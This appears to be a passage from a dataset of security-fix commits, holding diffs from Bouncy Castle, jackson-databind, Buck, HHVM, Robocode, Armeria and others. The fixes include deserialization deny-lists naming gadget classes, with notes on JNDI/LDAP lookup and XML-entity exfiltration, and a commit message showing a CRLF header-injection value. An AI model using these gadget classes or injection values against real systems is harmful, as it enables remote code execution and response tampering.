((S[(r1>>16)&255]&255)<<16) ^ (S[(r2>>24)&255]<<24) ^ KW[r][3];\n+ this.C0 = (S[r0&255]&255) ^ ((S[(r1>>8)&255]&255)<<8) ^ ((s[(r2>>16)&255]&255)<<16) ^ (s[(r3>>24)&255]<<24) ^ KW[r][0];\n+ this.C1 = (s[r1&255]&255) ^ ((S[(r2>>8)&255]&255)<<8) ^ ((S[(r3>>16)&255]&255)<<16) ^ (s[(r0>>24)&255]<<24) ^ KW[r][1];\n+ this.C2 = (s[r2&255]&255) ^ ((S[(r3>>8)&255]&255)<<8) ^ ((S[(r0>>16)&255]&255)<<16) ^ (S[(r1>>24)&255]<<24) ^ KW[r][2];\n+ this.C3 = (s[r3&255]&255) ^ ((s[(r0>>8)&255]&255)<<8) ^ ((s[(r1>>16)&255]&255)<<16) ^ (S[(r2>>24)&255]<<24) ^ KW[r][3];\n }\n \n private void decryptBlock(int[][] KW)\n", "related": false}, {"section": "@@ -610,9 +621,9 @@ private void decryptBlock(int[][] KW)\n \n // the final round's table is a simple function of Si so we don't use a whole other four tables for it\n \n- this.C0 = (Si[r0&255]&255) ^ ((Si[(r3>>8)&255]&255)<<8) ^ ((Si[(r2>>16)&255]&255)<<16) ^ (Si[(r1>>24)&255]<<24) ^ KW[0][0];\n- this.C1 = (Si[r1&255]&255) ^ ((Si[(r0>>8)&255]&255)<<8) ^ ((Si[(r3>>16)&255]&255)<<16) ^ (Si[(r2>>24)&255]<<24) ^ KW[0][1];\n- this.C2 = (Si[r2&255]&255) ^ ((Si[(r1>>8)&255]&255)<<8) ^ ((Si[(r0>>16)&255]&255)<<16) ^ (Si[(r3>>24)&255]<<24) ^ KW[0][2];\n- this.C3 = (Si[r3&255]&255) ^ ((Si[(r2>>8)&255]&255)<<8) ^ ((Si[(r1>>16)&255]&255)<<16) ^ (Si[(r0>>24)&255]<<24) ^ KW[0][3];\n+ this.C0 = (Si[r0&255]&255) ^ ((s[(r3>>8)&255]&255)<<8) ^ ((s[(r2>>16)&255]&255)<<16) ^ (Si[(r1>>24)&255]<<24) ^ KW[0][0];\n+ this.C1 = (s[r1&255]&255) ^ ((s[(r0>>8)&255]&255)<<8) ^ ((Si[(r3>>16)&255]&255)<<16) ^ (s[(r2>>24)&255]<<24) ^ KW[0][1];\n+ this.C2 = (s[r2&255]&255) ^ ((Si[(r1>>8)&255]&255)<<8) ^ ((Si[(r0>>16)&255]&255)<<16) ^ (s[(r3>>24)&255]<<24) ^ KW[0][2];\n+ this.C3 = (Si[r3&255]&255) ^ ((s[(r2>>8)&255]&255)<<8) ^ ((s[(r1>>16)&255]&255)<<16) ^ (s[(r0>>24)&255]<<24) ^ KW[0][3];\n }\n }", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "core/src/main/java/org/bouncycastle/math/raw/Nat128.java", "commit_id": "790642084c4e0cadd47352054f868cc8397e2c00", "commit_message": "Fix carry propagation bug in Nat???.square methods", "patch": "@@ -636,8 +636,8 @@ public static void square(int[] x, int[] zz)\n }\n \n long x_3 = x[3] & M;\n- long zz_5 = zz[5] & M;\n- long zz_6 = zz[6] & M;\n+ long zz_5 = (zz[5] & M) + (zz_4 >>> 32); zz_4 &= M;\n+ long zz_6 = (zz[6] & M) + (zz_5 >>> 32); zz_5 &= M;\n {\n zz_3 += x_3 * x_0;\n w = (int)zz_3;\n@@ -658,7 +658,7 @@ public static void square(int[] x, int[] zz)\n w = (int)zz_6;\n zz[6] = (w << 1) | c;\n c = w >>> 31;\n- w = zz[7] + (int)(zz_6 >> 32);\n+ w = zz[7] + (int)(zz_6 >>> 32);\n zz[7] = (w << 1) | c;\n }\n \n@@ -713,8 +713,8 @@ public static void square(int[] x, int xOff, int[] zz, int zzOff)\n }\n \n long x_3 = x[xOff + 3] & M;\n- long zz_5 = zz[zzOff + 5] & M;\n- long zz_6 = zz[zzOff + 6] & M;\n+ long zz_5 = (zz[zzOff + 5] & M) + (zz_4 >>> 32); zz_4 &= M;\n+ long zz_6 = (zz[zzOff + 6] & M) + (zz_5 >>> 32); zz_5 &= M;\n {\n zz_3 += x_3 * x_0;\n w = (int)zz_3;\n@@ -734,7 +734,7 @@ public static void square(int[] x, int xOff, int[] zz, int zzOff)\n w = (int)zz_6;\n zz[zzOff + 6] = (w << 1) | c;\n c = w >>> 31;\n- w = zz[zzOff + 7] + (int)(zz_6 >> 32);\n+ w = zz[zzOff + 7] + (int)(zz_6 >>> 32);\n zz[zzOff + 7] = (w << 1) | c;\n }\n ", "sections": [{"section": "@@ -636,8 +636,8 @@ public static void square(int[] x, int[] zz)\n }\n \n long x_3 = x[3] & M;\n- long zz_5 = zz[5] & M;\n- long zz_6 = zz[6] & M;\n+ long zz_5 = (zz[5] & M) + (zz_4 >>> 32); zz_4 &= M;\n+ long zz_6 = (zz[6] & M) + (zz_5 >>> 32); zz_5 &= M;\n {\n zz_3 += x_3 * x_0;\n w = (int)zz_3;\n", "related": false}, {"section": "@@ -658,7 +658,7 @@ public static void square(int[] x, int[] zz)\n w = (int)zz_6;\n zz[6] = (w << 1) | c;\n c = w >>> 31;\n- w = zz[7] + (int)(zz_6 >> 32);\n+ w = zz[7] + (int)(zz_6 >>> 32);\n zz[7] = (w << 1) | c;\n }\n \n", "related": false}, {"section": "@@ -713,8 +713,8 @@ public static void square(int[] x, int xOff, int[] zz, int zzOff)\n }\n \n long x_3 = x[xOff + 3] & M;\n- long zz_5 = zz[zzOff + 5] & M;\n- long zz_6 = zz[zzOff + 6] & M;\n+ long zz_5 = (zz[zzOff + 5] & M) + (zz_4 >>> 32); zz_4 &= M;\n+ long zz_6 = (zz[zzOff + 6] & M) + (zz_5 >>> 32); zz_5 &= M;\n {\n zz_3 += x_3 * x_0;\n w = (int)zz_3;\n", "related": false}, {"section": "@@ -734,7 +734,7 @@ public static void square(int[] x, int xOff, int[] zz, int zzOff)\n w = (int)zz_6;\n zz[zzOff + 6] = (w << 1) | c;\n c = w >>> 31;\n- w = zz[zzOff + 7] + (int)(zz_6 >> 32);\n+ w = zz[zzOff + 7] + (int)(zz_6 >>> 32);\n zz[zzOff + 7] = (w << 1) | c;\n }\n ", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "prov/src/main/java/org/bouncycastle/jcajce/provider/asymmetric/dsa/DSASigner.java", "commit_id": "843c2e60f67d71faf81d236f448ebbe56c62c647", "commit_message": "Added header validation for INTEGER/ENUMERATED\nAdded additional validations for DSA/ECDSA signature parsing.", "patch": "@@ -29,6 +29,7 @@\n import org.bouncycastle.crypto.digests.SHA512Digest;\n import org.bouncycastle.crypto.params.ParametersWithRandom;\n import org.bouncycastle.crypto.signers.HMacDSAKCalculator;\n+import org.bouncycastle.util.Arrays;\n \n public class DSASigner\n extends SignatureSpi\n@@ -180,6 +181,10 @@ private BigInteger[] derDecode(\n {\n throw new IOException(\"malformed signature\");\n }\n+ if (!Arrays.areEqual(encoding, s.getEncoded(ASN1Encoding.DER)))\n+ {\n+ throw new IOException(\"malformed signature\");\n+ }\n \n return new BigInteger[]{\n ((ASN1Integer)s.getObjectAt(0)).getValue(),", "sections": [{"section": "@@ -29,6 +29,7 @@\n import org.bouncycastle.crypto.digests.SHA512Digest;\n import org.bouncycastle.crypto.params.ParametersWithRandom;\n import org.bouncycastle.crypto.signers.HMacDSAKCalculator;\n+import org.bouncycastle.util.Arrays;\n \n public class DSASigner\n extends SignatureSpi\n", "related": false}, {"section": "@@ -180,6 +181,10 @@ private BigInteger[] derDecode(\n {\n throw new IOException(\"malformed signature\");\n }\n+ if (!Arrays.areEqual(encoding, s.getEncoded(ASN1Encoding.DER)))\n+ {\n+ throw new IOException(\"malformed signature\");\n+ }\n \n return new BigInteger[]{\n ((ASN1Integer)s.getObjectAt(0)).getValue(),", "related": false}]} +{"owner": "eclipse-ee4j", "repo": "mojarra", "language": "Java", "file_name": "impl/src/main/java/com/sun/faces/application/resource/ResourceManager.java", "commit_id": "1b434748d9239f42eae8aa7d37d7a0930c061e24", "commit_message": "fixing CTS failure issue in master branch", "patch": "@@ -565,7 +565,7 @@ private String getLocalePrefix(FacesContext context) {\n \n localePrefix = context.getExternalContext().getRequestParameterMap().get(\"loc\");\n \n- if(localePrefix != null){\n+ if(localePrefix != null && !nameContainsForbiddenSequence(localePrefix)){\n return localePrefix;\n }\n ", "sections": [{"section": "@@ -565,7 +565,7 @@ private String getLocalePrefix(FacesContext context) {\n \n localePrefix = context.getExternalContext().getRequestParameterMap().get(\"loc\");\n \n- if(localePrefix != null){\n+ if(localePrefix != null && !nameContainsForbiddenSequence(localePrefix)){\n return localePrefix;\n }\n ", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "core/src/main/java/org/bouncycastle/pqc/crypto/xmss/XMSSUtil.java", "commit_id": "cd98322b171b15b3f88c5ec871175147893c31e6", "commit_message": "added full filtering for BDS data.", "patch": "@@ -8,6 +8,8 @@\n import java.io.ObjectInputStream;\n import java.io.ObjectOutputStream;\n import java.io.ObjectStreamClass;\n+import java.util.HashSet;\n+import java.util.Set;\n \n import org.bouncycastle.crypto.Digest;\n import org.bouncycastle.util.Arrays;\n@@ -382,6 +384,24 @@ public static boolean isNewAuthenticationPathNeeded(long globalIndex, int xmssHe\n private static class CheckingStream\n extends ObjectInputStream\n {\n+ private static final Set components = new HashSet<>();\n+\n+ static\n+ {\n+ components.add(\"java.util.TreeMap\");\n+ components.add(\"java.lang.Integer\");\n+ components.add(\"java.lang.Number\");\n+ components.add(\"org.bouncycastle.pqc.crypto.xmss.BDS\");\n+ components.add(\"java.util.ArrayList\");\n+ components.add(\"org.bouncycastle.pqc.crypto.xmss.XMSSNode\");\n+ components.add(\"[B\");\n+ components.add(\"java.util.LinkedList\");\n+ components.add(\"java.util.Stack\");\n+ components.add(\"java.util.Vector\");\n+ components.add(\"[Ljava.lang.Object;\");\n+ components.add(\"org.bouncycastle.pqc.crypto.xmss.BDSTreeHash\");\n+ }\n+\n private final Class mainClass;\n private boolean found = false;\n \n@@ -409,6 +429,14 @@ protected Class resolveClass(ObjectStreamClass desc)\n found = true;\n }\n }\n+ else\n+ {\n+ if (!components.contains(desc.getName()))\n+ {\n+ throw new InvalidClassException(\n+ \"unexpected class: \", desc.getName());\n+ }\n+ }\n return super.resolveClass(desc);\n }\n }", "sections": [{"section": "@@ -8,6 +8,8 @@\n import java.io.ObjectInputStream;\n import java.io.ObjectOutputStream;\n import java.io.ObjectStreamClass;\n+import java.util.HashSet;\n+import java.util.Set;\n \n import org.bouncycastle.crypto.Digest;\n import org.bouncycastle.util.Arrays;\n", "related": false}, {"section": "@@ -382,6 +384,24 @@ public static boolean isNewAuthenticationPathNeeded(long globalIndex, int xmssHe\n private static class CheckingStream\n extends ObjectInputStream\n {\n+ private static final Set components = new HashSet<>();\n+\n+ static\n+ {\n+ components.add(\"java.util.TreeMap\");\n+ components.add(\"java.lang.Integer\");\n+ components.add(\"java.lang.Number\");\n+ components.add(\"org.bouncycastle.pqc.crypto.xmss.BDS\");\n+ components.add(\"java.util.ArrayList\");\n+ components.add(\"org.bouncycastle.pqc.crypto.xmss.XMSSNode\");\n+ components.add(\"[B\");\n+ components.add(\"java.util.LinkedList\");\n+ components.add(\"java.util.Stack\");\n+ components.add(\"java.util.Vector\");\n+ components.add(\"[Ljava.lang.Object;\");\n+ components.add(\"org.bouncycastle.pqc.crypto.xmss.BDSTreeHash\");\n+ }\n+\n private final Class mainClass;\n private boolean found = false;\n \n", "related": false}, {"section": "@@ -409,6 +429,14 @@ protected Class resolveClass(ObjectStreamClass desc)\n found = true;\n }\n }\n+ else\n+ {\n+ if (!components.contains(desc.getName()))\n+ {\n+ throw new InvalidClassException(\n+ \"unexpected class: \", desc.getName());\n+ }\n+ }\n return super.resolveClass(desc);\n }\n }", "related": false}]} +{"owner": "facebook", "repo": "buck", "language": "Java", "file_name": "src/com/facebook/buck/parser/ParserStateObjectInputStream.java", "commit_id": "8c5500981812564877bd122c0f8fab48d3528ddf", "commit_message": "Prevent deserialization of random objects\n\nSummary:\nFixed security issue with buck parser-cache command.\nThis diff prevent deserialization of random objects.\n\nReviewed By: jtorkkola\n\nfbshipit-source-id: 24e8221", "patch": "@@ -0,0 +1,48 @@\n+/*\n+ * Copyright 2013-present Facebook, Inc.\n+ *\n+ * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n+ * not use this file except in compliance with the License. You may obtain\n+ * a copy of the License at\n+ *\n+ * http://www.apache.org/licenses/LICENSE-2.0\n+ *\n+ * Unless required by applicable law or agreed to in writing, software\n+ * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n+ * License for the specific language governing permissions and limitations\n+ * under the License.\n+ */\n+\n+package com.facebook.buck.parser;\n+\n+import com.facebook.buck.parser.thrift.RemoteDaemonicParserState;\n+import java.io.IOException;\n+import java.io.InputStream;\n+import java.io.InvalidClassException;\n+import java.io.ObjectInputStream;\n+import java.io.ObjectStreamClass;\n+import java.util.HashSet;\n+import java.util.Set;\n+\n+/** A ObjectInputStream that will deserialize only RemoteDaemonicParserState. */\n+public class ParserStateObjectInputStream extends ObjectInputStream {\n+\n+ private Set whitelist;\n+\n+ public ParserStateObjectInputStream(InputStream inputStream) throws IOException {\n+ super(inputStream);\n+\n+ whitelist = new HashSet<>();\n+ whitelist.add(RemoteDaemonicParserState.class.getName());\n+ }\n+\n+ @Override\n+ protected Class resolveClass(ObjectStreamClass desc)\n+ throws IOException, ClassNotFoundException {\n+ if (!whitelist.contains(desc.getName())) {\n+ throw new InvalidClassException(desc.getName(), \"Can't deserialize this class\");\n+ }\n+ return super.resolveClass(desc);\n+ }\n+}", "sections": [{"section": "@@ -0,0 +1,48 @@\n+/*\n+ * Copyright 2013-present Facebook, Inc.\n+ *\n+ * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n+ * not use this file except in compliance with the License. You may obtain\n+ * a copy of the License at\n+ *\n+ * http://www.apache.org/licenses/LICENSE-2.0\n+ *\n+ * Unless required by applicable law or agreed to in writing, software\n+ * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n+ * License for the specific language governing permissions and limitations\n+ * under the License.\n+ */\n+\n+package com.facebook.buck.parser;\n+\n+import com.facebook.buck.parser.thrift.RemoteDaemonicParserState;\n+import java.io.IOException;\n+import java.io.InputStream;\n+import java.io.InvalidClassException;\n+import java.io.ObjectInputStream;\n+import java.io.ObjectStreamClass;\n+import java.util.HashSet;\n+import java.util.Set;\n+\n+/** A ObjectInputStream that will deserialize only RemoteDaemonicParserState. */\n+public class ParserStateObjectInputStream extends ObjectInputStream {\n+\n+ private Set whitelist;\n+\n+ public ParserStateObjectInputStream(InputStream inputStream) throws IOException {\n+ super(inputStream);\n+\n+ whitelist = new HashSet<>();\n+ whitelist.add(RemoteDaemonicParserState.class.getName());\n+ }\n+\n+ @Override\n+ protected Class resolveClass(ObjectStreamClass desc)\n+ throws IOException, ClassNotFoundException {\n+ if (!whitelist.contains(desc.getName())) {\n+ throw new InvalidClassException(desc.getName(), \"Can't deserialize this class\");\n+ }\n+ return super.resolveClass(desc);\n+ }\n+}", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/bz2/bz2-file.cpp", "commit_id": "6e4dd9ec3f14b48170fc45dc9d13a3261765f994", "commit_message": "CVE-2019-3557: Fix OOB read in readRecord on BZ2Files/OutputFiles\n\nSummary:\nThese File subclasses return -1 on read errors which is not what is\nexpected for readImpl--this made File::readRecord behave unusually if the read\nfails, causing it to read (size_t)(-1) bytes from its stream buffer; which,\nunsurprisingly produces a out-of-bounds heap read.\n\nReviewed By: leikahing, jjgriego\n\nDifferential Revision: D13659395\n\nfbshipit-source-id: 359ed6e3ff9f9cf49b752b666f51c4e0b3ce4b8a", "patch": "@@ -95,7 +95,7 @@ int64_t BZ2File::readImpl(char * buf, int64_t length) {\n if (len <= 0) {\n setEof(true);\n if (len < 0) {\n- return -1;\n+ return 0;\n }\n }\n return len;", "sections": [{"section": "@@ -95,7 +95,7 @@ int64_t BZ2File::readImpl(char * buf, int64_t length) {\n if (len <= 0) {\n setEof(true);\n if (len < 0) {\n- return -1;\n+ return 0;\n }\n }\n return len;", "related": false}]} +{"owner": "fasterxml", "repo": "jackson-databind", "language": "Java", "file_name": "src/main/java/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java", "commit_id": "87d29af25e82a249ea15858e2d4ecbf64091db44", "commit_message": "Fix #2097 for 2.6.7.2", "patch": "@@ -68,6 +68,12 @@ public class BeanDeserializerFactory\n s.add(\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\");\n s.add(\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\");\n \n+ // [databind#2097]: some 3rd party, one JDK-bundled\n+ s.add(\"org.slf4j.ext.EventData\");\n+ s.add(\"flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor\");\n+ s.add(\"com.sun.deploy.security.ruleset.DRSHelper\");\n+ s.add(\"org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl\");\n+\n DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);\n }\n ", "sections": [{"section": "@@ -68,6 +68,12 @@ public class BeanDeserializerFactory\n s.add(\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\");\n s.add(\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\");\n \n+ // [databind#2097]: some 3rd party, one JDK-bundled\n+ s.add(\"org.slf4j.ext.EventData\");\n+ s.add(\"flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor\");\n+ s.add(\"com.sun.deploy.security.ruleset.DRSHelper\");\n+ s.add(\"org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl\");\n+\n DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);\n }\n ", "related": false}]} +{"owner": "robo-code", "repo": "robocode", "language": "Java", "file_name": "robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java", "commit_id": "836c84635e982e74f2f2771b2c8640c3a34221bd", "commit_message": "Bug-406: DNS interaction is not blocked by Robocode's security manager + test(s) to verify the fix", "patch": "@@ -12,7 +12,9 @@\n import net.sf.robocode.host.IThreadManager;\n import net.sf.robocode.io.RobocodeProperties;\n \n+import java.net.SocketPermission;\n import java.security.AccessControlException;\n+import java.security.Permission;\n \n \n /**\n@@ -49,7 +51,6 @@ public void checkAccess(Thread t) {\n \t\t}\n \n \t\tThread c = Thread.currentThread();\n-\n \t\tif (isSafeThread(c)) {\n \t\t\treturn;\n \t\t}\n@@ -84,7 +85,7 @@ public void checkAccess(Thread t) {\n \t\t\tif (robotProxy != null) {\n \t\t\t\trobotProxy.punishSecurityViolation(message);\n \t\t\t}\n-\t\t\tthrow new AccessControlException(message);\n+\t\t\tthrow new SecurityException(message);\n \t\t}\n \t}\n \n@@ -94,7 +95,6 @@ public void checkAccess(ThreadGroup g) {\n \t\t\treturn;\n \t\t}\n \t\tThread c = Thread.currentThread();\n-\n \t\tif (isSafeThread(c)) {\n \t\t\treturn;\n \t\t}\n@@ -123,9 +123,27 @@ public void checkAccess(ThreadGroup g) {\n \t\t\tString message = \"Robots are only allowed to create up to 5 threads!\";\n \n \t\t\trobotProxy.punishSecurityViolation(message);\n-\t\t\tthrow new AccessControlException(message);\n+\t\t\tthrow new SecurityException(message);\n \t\t}\n \t}\n+\t\n+ public void checkPermission(Permission perm) {\n+\t\tif (RobocodeProperties.isSecurityOff()) {\n+\t\t\treturn;\n+\t\t}\n+\t\tThread c = Thread.currentThread();\n+\t\tif (isSafeThread(c)) {\n+\t\t\treturn;\n+\t\t}\n+ super.checkPermission(perm);\n+\n+ if (perm instanceof SocketPermission) {\n+ \t\tIHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);\n+ \tString message = \"Using socket is not allowed\";\n+ \trobotProxy.punishSecurityViolation(message);\n+ throw new SecurityException(message);\n+ }\n+ }\n \n \tprivate boolean isSafeThread(Thread c) {\n \t\treturn threadManager.isSafeThread(c);", "sections": [{"section": "@@ -12,7 +12,9 @@\n import net.sf.robocode.host.IThreadManager;\n import net.sf.robocode.io.RobocodeProperties;\n \n+import java.net.SocketPermission;\n import java.security.AccessControlException;\n+import java.security.Permission;\n \n \n /**\n", "related": false}, {"section": "@@ -49,7 +51,6 @@ public void checkAccess(Thread t) {\n \t\t}\n \n \t\tThread c = Thread.currentThread();\n-\n \t\tif (isSafeThread(c)) {\n \t\t\treturn;\n \t\t}\n", "related": false}, {"section": "@@ -84,7 +85,7 @@ public void checkAccess(Thread t) {\n \t\t\tif (robotProxy != null) {\n \t\t\t\trobotProxy.punishSecurityViolation(message);\n \t\t\t}\n-\t\t\tthrow new AccessControlException(message);\n+\t\t\tthrow new SecurityException(message);\n \t\t}\n \t}\n \n", "related": false}, {"section": "@@ -94,7 +95,6 @@ public void checkAccess(ThreadGroup g) {\n \t\t\treturn;\n \t\t}\n \t\tThread c = Thread.currentThread();\n-\n \t\tif (isSafeThread(c)) {\n \t\t\treturn;\n \t\t}\n", "related": false}, {"section": "@@ -123,9 +123,27 @@ public void checkAccess(ThreadGroup g) {\n \t\t\tString message = \"Robots are only allowed to create up to 5 threads!\";\n \n \t\t\trobotProxy.punishSecurityViolation(message);\n-\t\t\tthrow new AccessControlException(message);\n+\t\t\tthrow new SecurityException(message);\n \t\t}\n \t}\n+\t\n+ public void checkPermission(Permission perm) {\n+\t\tif (RobocodeProperties.isSecurityOff()) {\n+\t\t\treturn;\n+\t\t}\n+\t\tThread c = Thread.currentThread();\n+\t\tif (isSafeThread(c)) {\n+\t\t\treturn;\n+\t\t}\n+ super.checkPermission(perm);\n+\n+ if (perm instanceof SocketPermission) {\n+ \t\tIHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);\n+ \tString message = \"Using socket is not allowed\";\n+ \trobotProxy.punishSecurityViolation(message);\n+ throw new SecurityException(message);\n+ }\n+ }\n \n \tprivate boolean isSafeThread(Thread c) {\n \t\treturn threadManager.isSafeThread(c);", "related": false}]} +{"owner": "fasterxml", "repo": "jackson-databind", "language": "Java", "file_name": "src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java", "commit_id": "28badf7ef60ac3e7ef151cd8e8ec010b8479226a", "commit_message": "Backport #2052, #2058 fixes for 2.7.9.4", "patch": "@@ -57,6 +57,13 @@ public class SubTypeValidator\n // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities\n s.add(\"org.apache.ibatis.parsing.XPathParser\");\n \n+ // [databind#2052]: Jodd-db, with jndi/ldap lookup\n+ s.add(\"jodd.db.connection.DataSourceConnectionProvider\");\n+\n+ // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup\n+ s.add(\"oracle.jdbc.connector.OracleManagedConnectionFactory\");\n+ s.add(\"oracle.jdbc.rowset.OracleJDBCRowSet\");\n+\n DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);\n }\n ", "sections": [{"section": "@@ -57,6 +57,13 @@ public class SubTypeValidator\n // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities\n s.add(\"org.apache.ibatis.parsing.XPathParser\");\n \n+ // [databind#2052]: Jodd-db, with jndi/ldap lookup\n+ s.add(\"jodd.db.connection.DataSourceConnectionProvider\");\n+\n+ // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup\n+ s.add(\"oracle.jdbc.connector.OracleManagedConnectionFactory\");\n+ s.add(\"oracle.jdbc.rowset.OracleJDBCRowSet\");\n+\n DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);\n }\n ", "related": false}]} +{"owner": "hawtio", "repo": "hawtio", "language": "Java", "file_name": "hawtio-system/src/main/java/io/hawt/system/ConfigManager.java", "commit_id": "e653dd5733859daf8061bd0cddca2c4c5dcba56e", "commit_message": "feat(hawtio-system): ENTESB-10081 - Add config parameter to disable local address probing for proxy whitelist", "patch": "@@ -19,6 +19,8 @@ public class ConfigManager {\n \n private static final transient Logger LOG = LoggerFactory.getLogger(ConfigManager.class);\n \n+ public static final String CONFIG_MANAGER = \"ConfigManager\";\n+\n private Context envContext = null;\n \n private Function propertyResolver;\n@@ -82,6 +84,10 @@ public String get(String name, String defaultValue) {\n return answer;\n }\n \n+ public boolean getBoolean(String name, boolean defaultValue) {\n+ return Boolean.parseBoolean(get(name, Boolean.toString(defaultValue)));\n+ }\n+\n private static String getHawtioSystemProperty(String name) {\n return System.getProperty(\"hawtio.\" + name);\n }", "sections": [{"section": "@@ -19,6 +19,8 @@ public class ConfigManager {\n \n private static final transient Logger LOG = LoggerFactory.getLogger(ConfigManager.class);\n \n+ public static final String CONFIG_MANAGER = \"ConfigManager\";\n+\n private Context envContext = null;\n \n private Function propertyResolver;\n", "related": false}, {"section": "@@ -82,6 +84,10 @@ public String get(String name, String defaultValue) {\n return answer;\n }\n \n+ public boolean getBoolean(String name, boolean defaultValue) {\n+ return Boolean.parseBoolean(get(name, Boolean.toString(defaultValue)));\n+ }\n+\n private static String getHawtioSystemProperty(String name) {\n return System.getProperty(\"hawtio.\" + name);\n }", "related": false}]} +{"owner": "nationalsecurityagency", "repo": "ghidra", "language": "Java", "file_name": "Ghidra/Features/BytePatterns/src/main/java/ghidra/bitpatterns/info/ContextRegisterFilter.java", "commit_id": "a17728f8c12effa171b17a25ccfb7e7d9528c5d0", "commit_message": "Merge remote-tracking branch 'origin/GT-3198_dev747368_fix_XMLDecoder_github_1090' into Ghidra_9.1", "patch": "@@ -56,7 +56,7 @@ public void addRegAndValueToFilter(String contextRegister, BigInteger value) {\n \tpublic boolean allows(List contextRegisterInfos) {\n \t\tfor (ContextRegisterInfo cInfo : contextRegisterInfos) {\n \t\t\tif (contextRegisters.contains(cInfo.getContextRegister())) {\n-\t\t\t\tif (!values.get(cInfo.getContextRegister()).equals(cInfo.getValueAsBigInteger())) {\n+\t\t\t\tif (!values.get(cInfo.getContextRegister()).equals(cInfo.getValue())) {\n \t\t\t\t\treturn false;\n \t\t\t\t}\n \t\t\t}", "sections": [{"section": "@@ -56,7 +56,7 @@ public void addRegAndValueToFilter(String contextRegister, BigInteger value) {\n \tpublic boolean allows(List contextRegisterInfos) {\n \t\tfor (ContextRegisterInfo cInfo : contextRegisterInfos) {\n \t\t\tif (contextRegisters.contains(cInfo.getContextRegister())) {\n-\t\t\t\tif (!values.get(cInfo.getContextRegister()).equals(cInfo.getValueAsBigInteger())) {\n+\t\t\t\tif (!values.get(cInfo.getContextRegister()).equals(cInfo.getValue())) {\n \t\t\t\t\treturn false;\n \t\t\t\t}\n \t\t\t}", "related": false}]} +{"owner": "ratpack", "repo": "ratpack", "language": "Java", "file_name": "ratpack-core/src/main/java/ratpack/server/internal/NettyHandlerAdapter.java", "commit_id": "efb910d38a96494256f36675ef0e5061097dd77d", "commit_message": "Enable HTTP header validation", "patch": "@@ -156,7 +156,7 @@ private void newRequest(ChannelHandlerContext ctx, HttpRequest nettyRequest) thr\n channel.attr(CLIENT_CERT_KEY).get()\n );\n \n- HttpHeaders nettyHeaders = new DefaultHttpHeaders(false);\n+ HttpHeaders nettyHeaders = new DefaultHttpHeaders();\n MutableHeaders responseHeaders = new NettyHeadersBackedMutableHeaders(nettyHeaders);\n AtomicBoolean transmitted = new AtomicBoolean(false);\n ", "sections": [{"section": "@@ -156,7 +156,7 @@ private void newRequest(ChannelHandlerContext ctx, HttpRequest nettyRequest) thr\n channel.attr(CLIENT_CERT_KEY).get()\n );\n \n- HttpHeaders nettyHeaders = new DefaultHttpHeaders(false);\n+ HttpHeaders nettyHeaders = new DefaultHttpHeaders();\n MutableHeaders responseHeaders = new NettyHeadersBackedMutableHeaders(nettyHeaders);\n AtomicBoolean transmitted = new AtomicBoolean(false);\n ", "related": false}]} +{"owner": "line", "repo": "armeria", "language": "Java", "file_name": "core/src/main/java/com/linecorp/armeria/internal/ArmeriaHttpUtil.java", "commit_id": "b597f7a865a527a84ee3d6937075cfbb4470ed20", "commit_message": "Merge pull request from GHSA-35fr-h7jr-hh86\n\nMotivation:\n\nAn `HttpService` can produce a malformed HTTP response when a user\nspecified a malformed HTTP header values, such as:\n\n ResponseHeaders.of(HttpStatus.OK\n \"my-header\", \"foo\\r\\nbad-header: bar\");\n\nModification:\n\n- Add strict header value validation to `HttpHeadersBase`\n- Add strict header name validation to `HttpHeaderNames.of()`, which is\n used by `HttpHeadersBase`.\n\nResult:\n\n- It is not possible anymore to send a bad header value which can be\n misused for sending additional headers or injecting arbitrary content.", "patch": "@@ -673,7 +673,7 @@ private static CharSequenceMap toLowercaseMap(Iterator v\n final CharSequenceMap result = new CharSequenceMap(arraySizeHint);\n \n while (valuesIter.hasNext()) {\n- final AsciiString lowerCased = HttpHeaderNames.of(valuesIter.next()).toLowerCase();\n+ final AsciiString lowerCased = AsciiString.of(valuesIter.next()).toLowerCase();\n try {\n int index = lowerCased.forEachByte(FIND_COMMA);\n if (index != -1) {", "sections": [{"section": "@@ -673,7 +673,7 @@ private static CharSequenceMap toLowercaseMap(Iterator v\n final CharSequenceMap result = new CharSequenceMap(arraySizeHint);\n \n while (valuesIter.hasNext()) {\n- final AsciiString lowerCased = HttpHeaderNames.of(valuesIter.next()).toLowerCase();\n+ final AsciiString lowerCased = AsciiString.of(valuesIter.next()).toLowerCase();\n try {\n int index = lowerCased.forEachByte(FIND_COMMA);\n if (index != -1) {", "related": false}]} +{"owner": "keycloak", "repo": "keycloak", "language": "Java", "file_name": 